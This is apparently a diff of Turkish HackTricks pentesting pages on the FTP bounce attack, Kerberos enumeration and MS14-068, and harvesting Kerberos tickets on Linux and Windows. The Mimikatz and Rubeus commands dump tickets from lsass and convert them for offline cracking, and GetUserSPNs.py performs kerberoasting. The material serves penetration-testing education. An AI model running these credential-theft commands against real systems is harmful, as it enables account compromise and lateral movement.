* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Özgeçmiş
Eğer bir atlayış FTP sunucusuna erişiminiz varsa, başka bir FTP sunucusundan \(bazı kimlik bilgilerini bildiğiniz\) dosya talep edebilir ve bu dosyayı kendi sunucunuza indirebilirsiniz.
Eğer bir bounce FTP sunucusuna erişiminiz varsa, diğer FTP sunucusundan \(bazı kimlik bilgilerini bildiğiniz yer\) dosyalar talep edebilir ve bu dosyayı kendi sunucunuza indirebilirsiniz.
## Gereksinimler
- FTP Orta sunucuda geçerli kimlik bilgileri
- Kurban FTP sunucusunda geçerli kimlik bilgileri
- Her iki sunucu da PORT komutunu kabul eder \(atlayış FTP saldırısı\)
- FTP Orta sunucusunun içine yazabilirsiniz
- Orta sunucu, bir nedenle Kurban FTP Sunucusu'na sizden daha fazla erişime sahip olacak \(bunu sömürülecek olan\)
- FTP Orta sunucusunda geçerli FTP kimlik bilgileri
- Kurban FTP sunucusunda geçerli FTP kimlik bilgileri
- Her iki sunucu da PORT komutunu kabul eder \(bounce FTP saldırısı\)
- FRP Orta sunucusunun bazı dizinlerinde yazma izniniz olmalı
- Orta sunucu, bir sebepten dolayı Kurban FTP Sunucusunda sizden daha fazla erişime sahip olmalı \(bunu istismar edeceksiniz\)
## Adımlar
1. Kendi FTP sunucunuza bağlanın ve bağlantıyı pasif hale getirin \(pasv komutu\) ve kurban servisinin dosyayı göndereceği bir dizinde dinlemesini sağlayın
2. FTP Orta Sunucusuna gönderilecek olan Kurban sunucusuna kimlik doğrulama yapmak, dizini değiştirmek ve dosyayı kendi sunucunuza indirmek için gereken komutların düz metin olarak bulunduğu dosyayı oluşturun \(sömürü\).
1. Kendi FTP sunucunuza bağlanın ve bağlantıyı pasif hale getirin \(pasv komutu\) böylece kurban hizmetinin dosyayı göndereceği bir dizinde dinlesin
2. FTP Orta sunucusunun Kurban sunucusuna göndereceği dosyayı oluşturun \(istismar\). Bu dosya, Kurban sunucusuna kimlik doğrulamak, dizini değiştirmek ve bir dosyayı kendi sunucunuza indirmek için gereken komutların düz metni olacaktır.
3. FTP Orta Sunucusuna bağlanın ve önceki dosyayı yükleyin
4. FTP Orta Sunucusunun kurban sunucuyla bağlantı kurmasını ve sömürü dosyasını göndermesini sağlayın
5. Kendi FTP sunucunuzda dosyayı yakalayın
6. FTP Orta Sunucusundan sömürü dosyasını silin
4. FTP Orta sunucusunun kurban sunucusuyla bir bağlantı kurmasını sağlayın ve istismar dosyasını gönderin
5. Dosyayı kendi FTP sunucunuzda yakalayın
6. FTP Orta sunucusundan istismar dosyasını silin
Daha detaylı bilgi için gönderiye bakın: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
Daha ayrıntılı bilgi için şu gönderiyi kontrol edin: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,33 +1,34 @@
# 88tcp/udp - Kerberos Pentesting
# 88tcp/udp - Pentesting Kerberos
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Temel Bilgiler
**Kerberos**, kullanıcıları kimlik doğrulaması yaparak doğrudan erişimlerini yönetmeden çalışır. Bu, protokolün güvenlik çerçevelerindeki rolünü vurgulayan önemli bir farklılıktır.
**Kerberos**, kullanıcıları kaynaklara doğrudan erişimlerini yönetmeden kimlik doğrulayan bir ilkeye dayanır. Bu, protokolün güvenlik çerçevelerindeki rolünü vurguladığı için önemli bir ayrımdır.
**Active Directory** gibi ortamlarda, **Kerberos**, kullanıcıların gizli şifrelerini doğrulayarak kullanıcıların kimliğini belirlemede önemli bir rol oynar. Bu süreç, her kullanıcının kimliğinin ağ kaynaklarıyla etkileşime geçmeden önce doğrulandığından emin olur. Ancak **Kerberos**, kullanıcıların belirli kaynaklar veya hizmetler üzerindeki izinlerini değerlendirmek veya uygulamak için işlevselliğini genişletmez. Bunun yerine, kullanıcıların kimlik doğrulaması için güvenli bir yol sağlar, bu da güvenlik sürecindeki kritik ilk adımdır.
**Active Directory** gibi ortamlarda, **Kerberos**, kullanıcıların gizli şifrelerini doğrulayarak kimliklerini belirlemede önemli bir rol oynar. Bu süreç, her kullanıcının kimliğinin, ağ kaynaklarıyla etkileşime girmeden önce doğrulandığını garanti eder. Ancak, **Kerberos**, bir kullanıcının belirli kaynaklar veya hizmetler üzerindeki izinlerini değerlendirme veya uygulama işlevselliğini genişletmez. Bunun yerine, kullanıcıları kimlik doğrulamanın güvenli bir yolunu sağlar; bu, güvenlik sürecindeki kritik bir ilk adımdır.
**Kerberos** tarafından kimlik doğrulamasından sonra, kaynaklara erişim konusundaki karar verme süreci ağdaki bireysel hizmetlere devredilir. Bu hizmetler daha sonra, **Kerberos** tarafından kullanıcının ayrıcalıkları hakkında sağlanan bilgilere dayanarak kimlik doğrulanan kullanıcının haklarını ve izinlerini değerlendirmekten sorumludur. Bu tasarım, kullanıcıların kimlik doğrulamasını yapmak ve erişim haklarını yönetmek arasında bir ayrım yapılmasına olanak tanır, dağıtılmış ağlarda kaynak yönetimine daha esnek ve güvenli bir yaklaşım sağlar.
**Kerberos** tarafından kimlik doğrulama yapıldıktan sonra, kaynaklara erişimle ilgili karar verme süreci, ağ içindeki bireysel hizmetlere devredilir. Bu hizmetler, **Kerberos** tarafından sağlanan kullanıcı ayrıcalıkları bilgisine dayanarak, kimliği doğrulanmış kullanıcının haklarını ve izinlerini değerlendirmekten sorumludur. Bu tasarım, kullanıcıların kimliğini doğrulama ile erişim haklarını yönetme arasında bir ayrım yapılmasına olanak tanır ve dağıtık ağlarda kaynak yönetiminde daha esnek ve güvenli bir yaklaşım sağlar.
**Varsayılan Port:** 88/tcp/udp
```
PORT STATE SERVICE
88/tcp open kerberos-sec
```
### **Kerberos'i kötüye kullanmayı öğrenmek için** [**Active Directory**](../../windows-hardening/active-directory-methodology/)** hakkındaki yazıyı okumalısınız.**
### **Kerberos'u kötüye kullanmayı öğrenmek için** [**Active Directory**](../../windows-hardening/active-directory-methodology/)** hakkında yazıyı okumalısınız.**
## Daha Fazla
@ -37,13 +38,13 @@ PORT STATE SERVICE
### MS14-068
MS14-068 açığı, bir saldırganın meşru bir kullanıcının Kerberos giriş belgesini değiştirmesine izin verir ve yanlışlıkla bir Alan Yöneticisi gibi yükseltilmiş ayrıcalıklar iddia etmesine olanak tanır. Bu sahte iddia Alan Denetleyicisi tarafından yanlışlıkla doğrulanır ve Active Directory ormanı boyunca ağ kaynaklarına izinsiz erişime olanak tanır.
MS14-068 açığı, bir saldırganın meşru bir kullanıcının Kerberos oturum açma jetonunu değiştirmesine ve yanlış bir şekilde yükseltilmiş ayrıcalıklar talep etmesine olanak tanır, örneğin bir Domain Admin olarak. Bu sahte talep, Domain Controller tarafından yanlışlıkla doğrulanır ve bu da Active Directory ormanı boyunca ağ kaynaklarına yetkisiz erişim sağlar.
{% embed url="https://adsecurity.org/?p=541" %}
Diğer saldırılar: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
Diğer istismarlar: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
## HackTricks Otomatik Komutları
## HackTricks Otomatik Komutlar
```
Protocol_Name: Kerberos #Protocol Abbreviation if there is one.
Port_Number: 88 #Comma separated if there is more than one.
@ -73,16 +74,17 @@ Name: With Creds
Description: Attempt to get a list of user service principal names
Command: GetUserSPNs.py -request -dc-ip {IP} active.htb/svc_tgs
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,44 +1,14 @@
<details>
### Linux'te Kimlik Bilgisi Depolama
Linux sistemleri, kimlik bilgilerini üç tür önbellekte depolar: **Dosyalar** (`/tmp` dizininde), **Kernel Anahtar Halkaları** (Linux çekirdeğinde özel bir segment) ve **Süreç Belleği** (tek süreç kullanımı için). `/etc/krb5.conf` dosyasındaki **default\_ccache\_name** değişkeni, kullanılan depolama türünü gösterir; belirtilmemişse varsayılan olarak `FILE:/tmp/krb5cc_%{uid}` değerini alır.
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
### Kimlik Bilgilerini Çıkarma
2017 tarihli [**Kerberos Credential Thievery (GNU/Linux)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) makalesi, anahtar halkalarından ve süreçlerden kimlik bilgilerini çıkarmak için yöntemleri özetlemektedir ve Linux çekirdeğinin anahtar halkası mekanizmasını vurgulamaktadır.
HackTricks'ı desteklemenin diğer yolları:
#### Anahtar Halkası Çıkarma Genel Bakış
**keyctl sistem çağrısı**, 2.6.10 çekirdek sürümünde tanıtılmıştır ve kullanıcı alanı uygulamalarının çekirdek anahtar halkalarıyla etkileşimde bulunmasına olanak tanır. Anahtar halkalarındaki kimlik bilgileri, dosya önbelleklerinden farklı olarak bileşenler (varsayılan ilke ve kimlik bilgileri) olarak depolanır; dosya önbellekleri ayrıca bir başlık içerir. Makaleden **hercules.sh scripti**, bu bileşenleri çıkarıp kullanılabilir bir dosya önbelleğine yeniden yapılandırmayı göstermektedir.
* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
</details>
### Linux'ta Kimlik Bilgisi Depolama
Linux sistemleri, kimlik bilgilerini üç tür önbellekte depolar: **Dosyalar** (`/tmp` dizininde), **Kernel Keyrings** (Linux çekirdeğinde özel bir bölüm) ve **İşlem Belleği** (tek işlem için kullanılır). `/etc/krb5.conf` dosyasındaki **default\_ccache\_name** değişkeni, kullanılan depolama türünü ortaya çıkarır ve belirtilmezse varsayılan olarak `FILE:/tmp/krb5cc_%{uid}`'yi kullanır.
### Kimlik Bilgilerinin Çıkarılması
2017 tarihli [**Kerberos Kimlik Bilgisi Çalma (GNU/Linux)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) adlı makale, kimlik bilgilerinin keyringlerden ve işlemlerden nasıl çıkarılacağına dair yöntemleri açıklar ve Linux çekirdeğinin anahtarları yönetmek ve depolamak için kullandığı keyring mekanizmasına odaklanır.
#### Keyring Çıkarılması Genel Bakışı
2.6.10 çekirdek sürümünde tanıtılan **keyctl sistem çağrısı**, kullanıcı alanı uygulamalarının çekirdek keyringleriyle etkileşimde bulunmasına olanak tanır. Keyringlerdeki kimlik bilgileri, dosya ccachelerinden (başlık da içeren) farklı olarak bileşenler halinde depolanır (varsayılan başlıca ve kimlik bilgiler). Makaleden **hercules.sh betiği**, bu bileşenleri çıkararak ve kullanılabilir bir dosya ccache'e dönüştürerek kimlik bilgisi çalma işlemi gösterir.
#### Bilet Çıkarılma Aracı: Tickey
**hercules.sh betiği** prensiplerine dayanan [**tickey**](https://github.com/TarlogicSecurity/tickey) aracı, keyringlerden biletlerin çıkarılması için özel olarak tasarlanmış olup `/tmp/tickey -i` komutuyla çalıştırılır.
#### Bilet Çıkarma Aracı: Tickey
**hercules.sh scripti** ilkelerine dayanarak, [**tickey**](https://github.com/TarlogicSecurity/tickey) aracı, anahtar halkalarından bilet çıkarmak için özel olarak tasarlanmıştır ve `/tmp/tickey -i` ile çalıştırılır.
## Referanslar
* [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
</details>

View file

@ -1,29 +1,30 @@
# Windows'tan Bilet Toplama
# Windows'tan bilet toplama
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
Windows'ta biletler, güvenlik politikalarını yöneten **lsass** (Yerel Güvenlik Yetkilendirme Alt Sistemi Hizmeti) işlemi tarafından yönetilir ve depolanır. Bu biletleri çıkarmak için, lsass işlemiyle etkileşimde bulunmak gerekmektedir. Bir yönetici olmayan bir kullanıcı yalnızca kendi biletlerine erişebilirken, bir yönetici sistemdeki tüm biletleri çıkarabilme yetkisine sahiptir. Bu tür işlemler için **Mimikatz** ve **Rubeus** araçları yaygın olarak kullanılmaktadır ve her biri farklı komutlar ve işlevler sunmaktadır.
Windows'taki biletler, güvenlik politikalarını yönetmekten sorumlu olan **lsass** (Yerel Güvenlik Otoritesi Alt Sistem Servisi) süreci tarafından yönetilir ve saklanır. Bu biletleri çıkarmak için lsass süreci ile etkileşimde bulunmak gereklidir. Yönetici olmayan bir kullanıcı yalnızca kendi biletlerine erişebilirken, bir yönetici sistemdeki tüm biletleri çıkarmak için ayrıcalığa sahiptir. Bu tür işlemler için **Mimikatz** ve **Rubeus** araçları yaygın olarak kullanılmaktadır; her biri farklı komutlar ve işlevsellikler sunar.
### Mimikatz
Mimikatz, Windows güvenliğiyle etkileşimde bulunabilen çok yönlü bir araçtır. Sadece biletleri çıkarmakla kalmaz, aynı zamanda çeşitli diğer güvenlikle ilgili işlemler için de kullanılır.
Mimikatz, Windows güvenliği ile etkileşimde bulunabilen çok yönlü bir araçtır. Bilet çıkarmanın yanı sıra çeşitli diğer güvenlik ile ilgili işlemler için de kullanılır.
```bash
# Extracting tickets using Mimikatz
sekurlsa::tickets /export
```
### Rubeus
Rubeus, Kerberos etkileşimi ve manipülasyonu için özel olarak tasarlanmış bir araçtır. Bilet çıkarma ve işleme ile birlikte diğer Kerberos ile ilgili faaliyetler için kullanılır.
Rubeus, Kerberos etkileşimi ve manipülasyonu için özel olarak tasarlanmış bir araçtır. Bilet çıkarımı ve yönetimi ile diğer Kerberos ile ilgili etkinlikler için kullanılır.
```bash
# Dumping all tickets using Rubeus
.\Rubeus dump
@ -42,21 +43,22 @@ Rubeus, Kerberos etkileşimi ve manipülasyonu için özel olarak tasarlanmış
# Converting a ticket to hashcat format for offline cracking
.\Rubeus.exe hash /ticket:<BASE64_TICKET>
```
Bu komutları kullanırken, `<BASE64_TICKET>` ve `<luid>` gibi yer tutucuları gerçek Base64 kodlu bilet ve Giriş Kimliği ile değiştirmeyi unutmayın. Bu araçlar, biletleri yönetmek ve Windows'un güvenlik mekanizmalarıyla etkileşimde bulunmak için kapsamlı işlevsellik sağlar.
Bu komutları kullanırken, `<BASE64_TICKET>` ve `<luid>` gibi yer tutucuları gerçek Base64 kodlu bilet ve Oturum Açma Kimliği ile değiştirdiğinizden emin olun. Bu araçlar, biletleri yönetmek ve Windows'un güvenlik mekanizmalarıyla etkileşimde bulunmak için kapsamlı işlevsellik sağlar.
## Referanslar
* [https://www.tarlogic.com/en/blog/how-to-attack-kerberos/](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
